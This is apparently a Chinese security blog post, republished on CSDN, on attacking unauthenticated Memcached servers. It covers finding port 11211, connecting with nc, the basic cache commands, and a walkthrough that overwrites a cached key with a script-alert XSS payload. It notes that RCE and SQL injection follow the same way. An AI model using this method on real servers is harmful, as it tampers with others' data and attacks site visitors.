Memcached 未授权漏洞利用

5dc5d0c7b4363e1655033f48c79e43f3.gif

点击"仙网攻城狮”关注我们哦~

不当想研发的渗透人不是好运维d163d7c09a08b6525deb23af1e0097da.png

让我们每天进步一点点

简介

Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以开放在外网的Memcache服务很容易被攻击者扫描发现,通过命令交互可直接读取memcache中的敏感信息。

除memcached中数据可被直接读取泄漏和恶意修改外,由于memcached中的数据像正常网站用户访问提交变量一样会被后端代码处理,当处理代码存在缺陷时会再次导致不同类型的安全问题。

不同的是,在处理 前端用户直接输入的数据时一般会接受更多的安全校验,而从memcached中读取的数据则更容易被开发者认为是可信的,或者是已经通过安全校验的,因此更容易导致安全问题。

由此可见,导致的二次安全漏洞类型一般 由memcached数据使用的位置(XSS通常称之为sink)的不同而不同, 如:

(1) 缓存数据未经过滤直接输出可导致XSS;

(2) 缓存数据 未经过滤代入拼接的SQL注入查询语句可导致SQL注入;

(3) 缓存数据 存储敏感信息(如:用户名、密码),可以通过读取操作直接泄漏;

(4) 缓存数据 未经过滤直接通过system()、eval()等函数处理可导致命令执行;

(5) 缓存数据 未经过滤直接在header()函数中输出,可导致CRLF漏洞(HTTP响应拆分)。

  … …

漏洞利用,文章最后有详细利用方法:

漏洞的利用根据所造成二次漏洞的不同,可在缓存变量中构造相应的payload。

针对memcached未授权访问漏洞缓存数据的抓取,可使用 go-derper工具。

实战

Memcached的默认端口是11211,可以使用nmap -sV或者fofa扫描发现该服务。

0f000ba8bad7a00ff58b92ac29e294c5.png

识别到端口后可以直接使用nc进行连接并执行查询命令,查看keys等操作。

cb3eec4896534e72377d362563139145.png

缓存管理命令:

stats 命令的功能正如其名:转储所连接的 memcached 实例的当前统计数据。在下例中,执行 stats 命令显示了关于当前 memcached 实例的信息

flush_all 命令。这个最简单的命令仅用于清理缓存中的所有名称/值对。如果您需要将缓存重置到干净的状态。

基本增删改查命令:set、add、replace、get、delete

set 命令用于向缓存添加新的键值对。如果键已经存在,则之前的值将被替换。

set userId 0 0 5
12345
STORED

仅当缓存中不存在键时,add 命令才会向缓存中添加一个键值对。如果缓存中已经存在键,则之前的值将仍然保持相同,并且您将获得响应 NOT_STORED。

set userId 0 0 5
12345
STORED


add userId 0 0 5
55555
NOT_STORED


add companyId 0 0 3
564
STORED

仅当键已经存在时,replace 命令才会替换缓存中的键。如果缓存中不存在键,那么您将从 memcached 服务器接受到一条 NOT_STORED 响应。

replace accountId 0 0 5
67890
NOT_STORED


set accountId 0 0 5
67890
STORED


replace accountId 0 0 5
55555
STORED

get 命令用于检索与之前添加的键值对相关的值。您将使用 get 执行大多数检索操作。

set userId 0 0 5
12345
STORED


get userId
VALUE userId 0 5
12345
END


get bob
END

最后一个基本命令是 delete。delete 命令用于删除 memcached 中的任何现有值。您将使用一个键调用delete,如果该键存在于缓存中,则删除该值。如果不存在,则返回一条NOT_FOUND 消息。

set userId 0 0 5
98765
STORED


delete bob
NOT_FOUND


delete userId
DELETED


get userId

最后攻击利用方法:

1.比如有个网站会把相关信息缓存到Memcached数据库中

d8f09c860f8aacc143a6cdb0315a51d5.png

2.找到相应的键值

044c03b8b72cb9c502a454b645565e16.png

3.插入payload

delete names
set names 0 0 30
"/><script>alert('XSS')</script>
STORED

4.返回网页刷新成功执行,其他RCE、SQL注入等方法大致相同。

c87b59c1d9e5dbf300d7ff2a66be25cd.png

往期内容

灭世之Apache Log4j2 远程代码执行漏洞

CFT学习资源与工具上新

工具篇-BurpSutie Pro 2021.10.1最新版本

172204d5f4f3e3132a427d85b20f17e8.gif

da2a5f383513d7dd1d30d0c2b44a0d5c.gif

更多资讯长按二维码 关注我们

觉得不错点个“赞”呗0b8b5dd553e0cbe3ca6a3cb7acd20384.png      

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值